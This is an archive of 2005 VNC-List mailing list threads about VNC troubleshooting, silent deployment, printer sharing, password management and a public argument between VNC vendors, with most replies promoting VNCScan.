I see that you specified port 6900 as the VNC port being used. Was this on purpose, a typo, or possibly the source of the problem? The default TCP port for VNC is 5900 on Windows. Thank you, Steve Bostedor http://www.vncscan.com More than just a VNC Manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of John Aldrich Sent: Friday, October 14, 2005 2:16 PM To: 'Adam Tranter'; John Aldrich; vnc-list@realvnc.com Subject: RE: Connection closed unexpectedly. System logs are easy... Start ->Programs ->Administrative Tools ->Event Viewer Fast User Switching & Remote Desktop are a bit harder... Here's a link to a website about how to disable FUS: http://www.stanford.edu/group/itss/pcleland/help/disable_fastswitching.h tm And here's another one on how to disable "Remote Desktop: http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs /en- us/rdesktop_disable.mspx -Original Message- From: Adam Tranter [mailto:[EMAIL PROTECTED] Sent: Friday, October 14, 2005 1:21 PM To: John Aldrich; vnc-list@realvnc.com Subject: Re: Connection closed unexpectedly. Yes, they're both XP machines, I have disabled the firewall on all PCs. (not wise, but I didnt have time to set them up etc) I will check the system logs tomorrow, can you tell me: a) how to check system logs b) how to disabled fast switching and remote desktop Regards, Untitled Document Kind Regards, Adam Tranter Fusion-Media.co.uk w www.fusion-media.co.uk e [EMAIL PROTECTED] - Original Message - From: "John Aldrich" <[EMAIL PROTECTED]> To: "'Adam Tranter'" <[EMAIL PROTECTED]>; Sent: Friday, October 14, 2005 5:23 PM Subject: RE: Connection closed unexpectedly. > Can you give us some more info, such as whether there are any > firewalls between you, operating systems in question, routers, etc? > Also, if this is an XP, or 2000 machine can you check the system log > files to see if there is any information about *why* it is closing? It > sounds like it's authenticating, but then is kicking you off. > One thing you can try, I don't know if it'll help, is to add the > winvnc4.exe executable to the firewall (if any) as an approved > application. Also, if you're using XP and have Fast User Switching > enabled, you need to disable that. Same goes for the "Remote Desktop" > app that comes with XP. > > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] > Behalf Of Adam Tranter > Sent: Friday, October 14, 2005 11:31 AM > To: vnc-list@realvnc.com > Subject: Connection closed unexpectedly. > > > Hello all, > > When I open Real VNC Viewer 4 and type in my No-Ip address > (mikesbikes.no-ip.info) I almost immediately get the error: The > connection closed unexpectedly. Do you wish to attempt to reconnect to > *.no-ip.info:6900? Yes / No > > It seems strange, I had another PC work on the same network absolutely > fine. > I > really need to get access to the PC, I'm losing patience! Any help > would be great! Thanks. > > Kind Regards, > > Adam Tranter > Fusion-Media.co.uk > > w www.fusion-media.co.uk > e [EMAIL PROTECTED] > > [demime 1.01d removed an attachment of type image/gif which had a name > of sig.gif] ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Is it possible to have a logfile from VNC ?
What platform are you running VNC on, alessio? The answer is different depending on the flavor of VNC and the platform that it is running on. It would really be cool if one of the VNC flavors would make the server log via syslog. That would be platform independent and very easy to impliment. It would also make central monitoring of VNC connections practical. Thank you, Steve Bostedor http://www.vncscan.com More than just a VNC Manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of [EMAIL PROTECTED] Sent: Wednesday, October 12, 2005 5:22 AM To: vnc-list Subject: Is it possible to have a logfile from VNC ? How can I get a log file from VNC ? Thank you Alessio ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC auto Install
You may want to have a look at http://www.vncscan.com It can push install VNC on your network silently among many other cool things. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of "Hvrpur Sveinsson" Sent: Monday, October 10, 2005 12:22 PM To: vnc-list@realvnc.com Subject: VNC auto Install Using VNC has been a great experience for me on solving simple problems at work. But its getting kinda tired having to always go through the same install over and over again. So im asking for help on how to make a auto installer for VNC, silent also would be great, that i can just put into my logon script with my virus protection program. ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Automatically adding IP
Hi Carl, Sure, VNCScan will do exactly what you're asking except without messing with spreadsheets. =D The only draw back is that it's not free. The cost is $40-US but that one license allows you to remote control an unlimited number of VNC connections so it's as close to free as you can get out there. If you have any questions, I'm at your service. :) Thank you, Steve Bostedor http://www.vncscan.com More than a VNC Manager -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of John Aldrich Sent: Thursday, September 15, 2005 11:31 AM To: 'carl'; vnc-list@realvnc.com Subject: RE: Automatically adding IP There are a couple apps you might want to look at: SmartCode's VNC Manager (http://www.yurysweb.com/smartcode/) and VNCScan from Bozteck Software (http://www.vncscan.com) as I think both will do what you're wanting to do with your spreadsheet. I know very little about either one, other than I think that both will maintain a list of active 'servers' and allow you to select one to connect to. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of carl Sent: Thursday, September 15, 2005 10:52 AM To: vnc-list@realvnc.com Subject: Automatically adding IP Hi I have an extensive list of servers running on my internal network, roughly 500 which are running VNC as a service. What I want to do is open up a spreadsheet(I am currently using excell 2000 and 2003 depending on the machine I am using) Then search for the name and IP that I wish to connect to, and then click an icon next to the name that will automatically add that IP address from the field and connect to their machine. I have manage to get VNC running from an icon in the spreadsheet but I am not sure if its possible to extract the IP address from the field and put it into the VNC box automatically. Any help would be appreciated. I know its nothing major but I like neatness :) Thanks ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Securing TightVNC
Hi David, For starters, I'm truly astonished that your security auditors would play with you like that and not offer you a satisfactory solution to the security hole that they compromised your production machine with! It sounds like it's time to look for new security auditors. It sounds like they gained enough access to your system to start the WinVNC service. That would be a good place to start. Set the folder that winvnc(4).exe resides in as to only allow administrators access to the files. If they still get it to run then you have bigger security issues than VNC. - Steve Bostedor http://www.vncscan.com More than just a VNC manager... -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of David McSpadden Sent: Wednesday, August 24, 2005 8:57 AM To: James Weatherall Cc: vnc-list@realvnc.com Subject: Securing TightVNC Ok, So I thought I had it. I set the VNC Server to manual in services and then I have a batch file to start the service whenever I need to go into a workstation. This way the user knows I am in and I know the service is off. Well my security auditors are here and they were just happier than anything to be playing on my production box. Adding users, locking me out, you know embrassing me How can I lock this down tighter?? ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: TightVNC v Ultra VNC - Which is best?
Have you tried the video driver that comes with each flavor? I've seen significant improvements when the UltraVNC video driver is installed on the remote computer. - Steve Bostedor http://www.vncscan.com More than just a VNC Manager! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Floyd Sense Sent: Wednesday, August 17, 2005 10:21 AM To: Gareth Davies, Aberdeen Internet; vnc-list@realvnc.com Subject: Re: TightVNC v Ultra VNC - Which is best? I tried UltraVNC to control a complex remote application and found it unacceptable. Many times, pull-down menus on the desktop screen were not displayed on the remote laptop, nor were some error message windows. The result was hang situations that couldn't be resolved without manual intervention at the controlled PC. This was with the UltraVNC version I downloaded just 2 days ago. I then went to Real VNC, personal version, and found it to be flawless in controlling the application. I didn't need all the bells and whistles that come with the other VNC varieties - just good dependable performance. - Original Message - From: "Gareth Davies, Aberdeen Internet" <[EMAIL PROTECTED]> To: Sent: Wednesday, August 17, 2005 9:08 AM Subject: TightVNC v Ultra VNC - Which is best? > Have been trying TightVNC but having had a quick look at UltraVNC it looks > appealing. Looks like a bit nicer interface and some other advantages such > as chat, and rescaling viewer to fit window. And did I read somewhere that > it's normally faster? (I just need for between Windows PCs). > > Can anyone advise what are the other pros and cons between the two > programs > and which is best choice overall. > > Many thanks. > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Custom builds
Before you get too involved in a new flavor, you may want to contribute your skills to the already established UltraVNC project at http://www.ultravnc.com. They need more programmers, too. It already does everything that you quoted below and I'm sure they would love your help! Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Nachtwind Sent: Sunday, August 14, 2005 7:01 PM To: vnc-list@realvnc.com Subject: Custom builds Hi! Are there people out there who might want to participate in a project regarding custom build VNC Servers/Viewers? I would have in mind a page, that would contain special builds (No tray Icon, MD5 instead of DES3 encryption, exotic architecture...). If you would like to participate (with sources, help with the php page, maybe Webspace or something) i would be glad to make something like that to begin. Any volunteers? Nachtwind (please dont mind my style of speaking/writing english - i am German) ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Problem using VNC and ZoneAlarm
>From a command prompt, type in: telnet computername 5900 Do you get a connection? Thank You, Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Paulo Ferrari Sent: Thursday, August 11, 2005 1:12 PM To: VNC-List@realvnc.com Subject: Problem using VNC and ZoneAlarm Hi! I'd already putted the port 5900 on the "Allow Incoming UDP Ports", "Allow Outgoing UDP Ports", "Allow Incoming TCP Ports" and "Allow Outgoing TCP Ports" but I'm still cannot connects to my PC by the viewer. Does Anyone knows what's happening??? Thanks for the help, Paulo ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC Manager
I agree. That attack should never have been posted to this list. I was attacked on the list so I had to respond on the list but any further communication should be direct. I'm sorry that everyone had to witness that. I have to deal with that all of the time from him. - Steve Bostedor -Original Message- From: James Weatherall [mailto:[EMAIL PROTECTED] Sent: Tuesday, August 09, 2005 10:14 AM To: Steve Bostedor; 'Yury Averkiev'; vnc-list@realvnc.com Subject: RE: VNC Manager Guys, Please take this discussion off-list. Thanks, Wez @ RealVNC Ltd. > -Original Message----- > From: Steve Bostedor [mailto:[EMAIL PROTECTED] > Sent: 09 August 2005 14:51 > To: Yury Averkiev; James Weatherall; John Aldrich; > vnc-list@realvnc.com > Subject: VNC Manager > > Yuri wrote: > > Steve, this goes personally to you. The way how you started > to use "VNC > Manager" term on your web site is yet another example of unfair > practices > used by you. What is VNC Manager 2005? Trying to full the search > engines? > And "Much more than just a VNC Manager" this just made all SmartCode's > team > laugh :) > > Steve replied: > > Why are you always saying things like this, yuri? You stole the name > VNC Manager from > http://www.sysworksoft.net/products/vncmng.html and now > you're coming after me? VNCScan has been called a VNC > Manager since the > day that it was created back in 1999. Your product is newer than both > VNCScan and the real VNC Manager software. How can you claim > authenticity to being THE VNC Manager? > > That broadside attack was very unprofessional. That was pretty dirty > and highly inaccurate. VNCScan stands on its merits as being > more than > just a VNC Manager. It is an all around remote management tool that > also includes VNC Management. It takes a lot of hard work and > innovation to make that happen and that is why it has been so > successful. > > I am also proud to say that I was able to create such a tool > and release > it for a fraction of the cost that similar applications charge. > > Next topic, please. :) > > - Steve Bostedor > http://www.vncscan.com > More than just a VNC Manager ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Printing
Yuri wrote: My guess would be that the luck of really advanced features, like remote printing, is due to limitation of RFB protocol, and not because of unwillingness of RealVNC (or other VNC teams) to implement such features. Until RFB protocol doesn't define such feature as the "virtual channel, hence data stream" it won't be possible to add much extra features to it. Especially if one would want to implement non-blocking printing or sound. But even such simple feature as UltraVNC chat is blocking screen updates. Steve Replied: That was a very good explanation, Yuri. Thank you. That's exactly the type of reply that I was seeking. Now, if you'd just stop attacking me... =D - Steve Bostedor ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
VNC Manager
Yuri wrote: Steve, this goes personally to you. The way how you started to use "VNC Manager" term on your web site is yet another example of unfair practices used by you. What is VNC Manager 2005? Trying to full the search engines? And "Much more than just a VNC Manager" this just made all SmartCode's team laugh :) Steve replied: Why are you always saying things like this, yuri? You stole the name VNC Manager from http://www.sysworksoft.net/products/vncmng.html and now you're coming after me? VNCScan has been called a VNC Manager since the day that it was created back in 1999. Your product is newer than both VNCScan and the real VNC Manager software. How can you claim authenticity to being THE VNC Manager? That broadside attack was very unprofessional. That was pretty dirty and highly inaccurate. VNCScan stands on its merits as being more than just a VNC Manager. It is an all around remote management tool that also includes VNC Management. It takes a lot of hard work and innovation to make that happen and that is why it has been so successful. I am also proud to say that I was able to create such a tool and release it for a fraction of the cost that similar applications charge. Next topic, please. :) - Steve Bostedor http://www.vncscan.com More than just a VNC Manager ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Printing
That's fine, James, but I never misrepresented anything and I give you credit where credit is due. I'm sorry that you took offense to my points. That was not my intent. I'd just like people to lighten up a bit. I think that this has gotten WAY off topic and there was no need for us to wander in this direction. All that needed to be said was something along the lines of, "It's not a cross platform reason that I don't have file transfer in RealVNC, but rather its x, y, and z." End of discussion. I would be fine with just an official answer to the original question, please. :) - Steve -Original Message- From: James Weatherall [mailto:[EMAIL PROTECTED] Sent: Tuesday, August 09, 2005 9:26 AM To: Steve Bostedor; 'John Aldrich'; vnc-list@realvnc.com Subject: RE: Printing Steve, I'm sorry that I won't be able to discuss this with you further. Your response misrepresents what I have previously said on these subjects, is misleading as to the feature set we provide and our relationship with the open-source projects based on our code, and of an abusive tone. Wez @ RealVNC Ltd. > -Original Message- > From: Steve Bostedor [mailto:[EMAIL PROTECTED] > Sent: 09 August 2005 12:36 > To: James Weatherall; John Aldrich; vnc-list@realvnc.com > Subject: RE: Printing > > James, > > I have been a member of this list for years and I've seen many feature > requests that where "shot down" using some pretty harsh wording. I > never said that all feature requests where turned down due to cross > platform reasons, James. I said most. That's an observation > and not an > assumption. :) A good example is Microsoft authentication > such as the > one found in UltraVNC (http://www.ultraVNC.com). > > I have often given you much credit for your hard work and > generosity of > releasing VNC as a GPL product. My gratitude has never been silent. > However, to call the hard work of those that have built upon that > foundation "bloat" is not fair to them or the hundreds of thousands of > their users and supporters. I know that you have never > directly called > UltraVNC bloatware but you have implied it many times by calling the > features that they have painstakingly written into their version > "bloat". > > The guys at UltraVNC and TighVNC have spent many hours writing in > features that you call "bloat" and that I have seen turned > down on this > list and debated into the ground. Cross platform reasons > where the most > often sited. Sometimes these debates became very heated. > They deserve > a lot of credit for listening to their users. They have a huge (and > growing) loyal user base because of this. Their hard work > deserves just > as much praise as yours and does not deserve the term > "bloat". It runs > just as fast as RealVNC and has a very small footprint. > > When I see a feature request on the UltraVNC forums, the > developers take > the time to understand the request and a friendly discussion > is started. > I have never seen an UltraVNC developer say "do it yourself > if you want > it." They are always friendly and professional. > > Now, are you in favor of adding file transfer to the free version of > VNC? If not, please explain why. I don't see how it can be debated > that it wouldn't be used by enough people when just about every other > remote management solution out there has a file transfer > function built > in. It obviously has some mass appeal. > > - Steve > > -Original Message- > From: James Weatherall [mailto:[EMAIL PROTECTED] > Sent: Tuesday, August 09, 2005 6:56 AM > To: Steve Bostedor; 'John Aldrich'; vnc-list@realvnc.com > Subject: RE: Printing > > Steve, > > I think it's a little unfair to say that feature suggestions are "shot > down". We work very hard to provide the refine and improve > the core VNC > system, and make that available under the GPL, enabling people to try > new > features as they see fit (this is how TightVNC et al exist). So when > considering feature suggestions, priority has to go to those that will > be > most widely useful and cause least code bloat, etc. > > I address the mail to you because it was a reply to your email. > > I have never said that remote printing won't feature in the > standard VNC > distribution, nor has anyone else, to the best of my knowledge. > > Cheers, > > Wez @ RealVNC Ltd. > > > > -Original Message- > > From: Steve Bostedor [mailto:[EMAIL PROTECTED] > > Sent: 09 August 2005 11:41 > > To: James Weatherall; John Al
RE: Printing
James, I have been a member of this list for years and I've seen many feature requests that where "shot down" using some pretty harsh wording. I never said that all feature requests where turned down due to cross platform reasons, James. I said most. That's an observation and not an assumption. :) A good example is Microsoft authentication such as the one found in UltraVNC (http://www.ultraVNC.com). I have often given you much credit for your hard work and generosity of releasing VNC as a GPL product. My gratitude has never been silent. However, to call the hard work of those that have built upon that foundation "bloat" is not fair to them or the hundreds of thousands of their users and supporters. I know that you have never directly called UltraVNC bloatware but you have implied it many times by calling the features that they have painstakingly written into their version "bloat". The guys at UltraVNC and TighVNC have spent many hours writing in features that you call "bloat" and that I have seen turned down on this list and debated into the ground. Cross platform reasons where the most often sited. Sometimes these debates became very heated. They deserve a lot of credit for listening to their users. They have a huge (and growing) loyal user base because of this. Their hard work deserves just as much praise as yours and does not deserve the term "bloat". It runs just as fast as RealVNC and has a very small footprint. When I see a feature request on the UltraVNC forums, the developers take the time to understand the request and a friendly discussion is started. I have never seen an UltraVNC developer say "do it yourself if you want it." They are always friendly and professional. Now, are you in favor of adding file transfer to the free version of VNC? If not, please explain why. I don't see how it can be debated that it wouldn't be used by enough people when just about every other remote management solution out there has a file transfer function built in. It obviously has some mass appeal. - Steve -Original Message- From: James Weatherall [mailto:[EMAIL PROTECTED] Sent: Tuesday, August 09, 2005 6:56 AM To: Steve Bostedor; 'John Aldrich'; vnc-list@realvnc.com Subject: RE: Printing Steve, I think it's a little unfair to say that feature suggestions are "shot down". We work very hard to provide the refine and improve the core VNC system, and make that available under the GPL, enabling people to try new features as they see fit (this is how TightVNC et al exist). So when considering feature suggestions, priority has to go to those that will be most widely useful and cause least code bloat, etc. I address the mail to you because it was a reply to your email. I have never said that remote printing won't feature in the standard VNC distribution, nor has anyone else, to the best of my knowledge. Cheers, Wez @ RealVNC Ltd. > -Original Message- > From: Steve Bostedor [mailto:[EMAIL PROTECTED] > Sent: 09 August 2005 11:41 > To: James Weatherall; John Aldrich; vnc-list@realvnc.com > Subject: RE: Printing > > Wez, > > It's not an assumption. I often see feature requests shot down on > this list, and the most common reasons given relate to cross platform > issues. > > I'm not sure why this was addressed directly to me. John > appeared to > think so, also. I was simply agreeing with him. > > If you disagree, then please let us know why something like remote > printing will never make its way into RealVNC so that we don't have to > assume. > > Thank you, > > Steve Bostedor > > -Original Message- > From: James Weatherall [mailto:[EMAIL PROTECTED] > Sent: Tuesday, August 09, 2005 6:19 AM > To: Steve Bostedor; 'John Aldrich'; vnc-list@realvnc.com > Subject: RE: Printing > > Steve, > > Why do you assume that the cross-platform nature of the standard VNC > system > prevents us from adding new features? > > Cheers, > > Wez @ RealVNC Ltd. > > > > -Original Message- > > From: [EMAIL PROTECTED] > > [mailto:[EMAIL PROTECTED] On Behalf Of Steve Bostedor > > Sent: 08 August 2005 14:22 > > To: John Aldrich; vnc-list@realvnc.com > > Subject: RE: Printing > > > > Yes, I'm sure that you are correct. I think that the RealVNC and > > probably the TightVNC developers are more concerned with > > cross platform > > design than added functionality. > > > > The cross platform nature of VNC has always been one of its > hallmarks. > > It's understandable why they would be reluctant to add new > > features with > > this being the philosophy. > > > > - Steve Bostedor
RE: Printing
Wez, It's not an assumption. I often see feature requests shot down on this list, and the most common reasons given relate to cross platform issues. I'm not sure why this was addressed directly to me. John appeared to think so, also. I was simply agreeing with him. If you disagree, then please let us know why something like remote printing will never make its way into RealVNC so that we don't have to assume. Thank you, Steve Bostedor -Original Message- From: James Weatherall [mailto:[EMAIL PROTECTED] Sent: Tuesday, August 09, 2005 6:19 AM To: Steve Bostedor; 'John Aldrich'; vnc-list@realvnc.com Subject: RE: Printing Steve, Why do you assume that the cross-platform nature of the standard VNC system prevents us from adding new features? Cheers, Wez @ RealVNC Ltd. > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Steve Bostedor > Sent: 08 August 2005 14:22 > To: John Aldrich; vnc-list@realvnc.com > Subject: RE: Printing > > Yes, I'm sure that you are correct. I think that the RealVNC and > probably the TightVNC developers are more concerned with > cross platform > design than added functionality. > > The cross platform nature of VNC has always been one of its hallmarks. > It's understandable why they would be reluctant to add new > features with > this being the philosophy. > > - Steve Bostedor > http://www.vncscan.com > > > -Original Message- > From: John Aldrich [mailto:[EMAIL PROTECTED] > Sent: Monday, August 08, 2005 9:13 AM > To: Steve Bostedor; vnc-list@realvnc.com > Subject: RE: Printing > > Steve, et al: > I am just guessing here, but I think the reason that VNC > isn't including > this sort of thing is because it would probably be hard to do > cross-platform, especially when printing from a *nix machine which you > are > viewing from a Windows desktop. :-) > John > > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] > Behalf Of Steve Bostedor > Sent: Monday, August 08, 2005 8:30 AM > To: vnc-list@realvnc.com > Subject: RE: Printing > [snip] > If you're on a LAN, you can share your printer and then print > to it from > the remote computer. For example, if you have an HP LaserJet 1100 on > your admin PC and you want to print to it from \\Computer1, just share > your printer on the network. > > On the remote computer do a "net use \\admin\laserjet1100" where admin > is your computer name and laserjet1100 is the assumed name of > the share. > That is basically how Windows Terminal services pulls the trick off > except that it encapsulates the traffic along with the screen > traffic. > > It would be nice if VNC had this same feature but it looks > like there is > no real interest to include it. Until then, you need to use > the tactic > described above or the IP print server suggestion. > > Steve Bostedor > http://www.vncscan.com > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Printing
Yes, I'm sure that you are correct. I think that the RealVNC and probably the TightVNC developers are more concerned with cross platform design than added functionality. The cross platform nature of VNC has always been one of its hallmarks. It's understandable why they would be reluctant to add new features with this being the philosophy. - Steve Bostedor http://www.vncscan.com -Original Message- From: John Aldrich [mailto:[EMAIL PROTECTED] Sent: Monday, August 08, 2005 9:13 AM To: Steve Bostedor; vnc-list@realvnc.com Subject: RE: Printing Steve, et al: I am just guessing here, but I think the reason that VNC isn't including this sort of thing is because it would probably be hard to do cross-platform, especially when printing from a *nix machine which you are viewing from a Windows desktop. :-) John -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of Steve Bostedor Sent: Monday, August 08, 2005 8:30 AM To: vnc-list@realvnc.com Subject: RE: Printing [snip] If you're on a LAN, you can share your printer and then print to it from the remote computer. For example, if you have an HP LaserJet 1100 on your admin PC and you want to print to it from \\Computer1, just share your printer on the network. On the remote computer do a "net use \\admin\laserjet1100" where admin is your computer name and laserjet1100 is the assumed name of the share. That is basically how Windows Terminal services pulls the trick off except that it encapsulates the traffic along with the screen traffic. It would be nice if VNC had this same feature but it looks like there is no real interest to include it. Until then, you need to use the tactic described above or the IP print server suggestion. Steve Bostedor http://www.vncscan.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Printing
> -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] > Behalf Of Ordway, Bruce > Sent: Thursday, August 04, 2005 13:54 PM > To: vnc-list@realvnc.com > Subject: Printing > > > Hi, > > Is there any way to redirect a print to my local machine when I'm > connected to a remote PC. > i.e. the data comes from the remote system but prints out on my > local printer. > > Thanks, > > Bruce If you're on a LAN, you can share your printer and then print to it from the remote computer. For example, if you have an HP LaserJet 1100 on your admin PC and you want to print to it from \\Computer1, just share your printer on the network. On the remote computer do a "net use \\admin\laserjet1100" where admin is your computer name and laserjet1100 is the assumed name of the share. That is basically how Windows Terminal services pulls the trick off except that it encapsulates the traffic along with the screen traffic. It would be nice if VNC had this same feature but it looks like there is no real interest to include it. Until then, you need to use the tactic described above or the IP print server suggestion. Steve Bostedor http://www.vncscan.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: filel transfer
Take your pick between TightVNC(http://www.tightvnc.com) and UltraVNC (http://www.ultraVNC.com) They are both great VNC servers. UltraVNC supports encryption while TightVNC doesn't, but other than that, I believe they're very comparable. - Steve Bostedor http://www.vncscan.com More than just a VNC Manager -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Chris Templeton Sent: Friday, July 29, 2005 12:08 PM To: vnc-list@realvnc.com Subject: filel transfer Since there is no built in file transfer utility in realvnc I wanted to find out whats most popular 3rd party program that is good to use that does file transfers. Thanks __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: VNC Free Edition
Yes it is, Ernie. - Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ernest Mancuso Sent: Thursday, July 28, 2005 9:36 AM To: vnc-list@realvnc.com Subject: VNC Free Edition Hello, Is the VNC free edition still free in for users in a business environment? Please let me know at your earliest. Thanks, Ernie ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: change min password length?
I've seen that before, too, but still lets me use a shorter password. It's just a warning as far as I can tell. Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of [EMAIL PROTECTED] Sent: Monday, July 25, 2005 10:02 PM To: James Weatherall; vnc-list@realvnc.com Subject: RE: change min password length? --- James Weatherall <[EMAIL PROTECTED]> wrote: > The minimum password length for VNC Password > Authentication is a single > character. Well when I execute vncserver and enter a password less than 8 characters, it says "password too short" and reprompts me. I looked inside the vncserver perl script and traced the culprit to an executable (/usr/bin/vncpasswd.real) Where is it getting the 8 character requirement? This is debian knoppix. Start your day with Yahoo! - make it your home page http://www.yahoo.com/r/hs ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Changing the Server's Password
VNC Scan (http://www.vncscan.com) has a tool built into it to mass change VNC passwords on your network. -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Angelo Sarto Sent: Monday, July 18, 2005 1:48 PM To: Nachtwind Cc: vnc-list@realvnc.com Subject: Re: Changing the Server's Password One possible wat to do this is if you have the remote registry service enabled you can connect to a network registry and change the value of the password key. I haven't tried this programatically but it works fine manually. --Angelo On 7/18/05, Nachtwind <[EMAIL PROTECTED]> wrote: > > Hi! > > I am managing a medium sized computernetwork and look for a simple way > of managing them all remotly. For this reason i installed realVNC and > supplied a self brewed program to serve some of my needs, but one thing > is still missing. The opportunity to hange the Passwords of all Client > computers at one time and not to have them be changed by hand. > > So i ask: Is it possible that someone might share (of couse through > simple E-Mail and not the List if needed) his knowleadge of doing this > with me? > > Have a nice day > Nachtwind > ___ > VNC-List mailing list > VNC-List@realvnc.com > To remove yourself from the list visit: > http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: unable to connect to host: Connection timed out (10060)
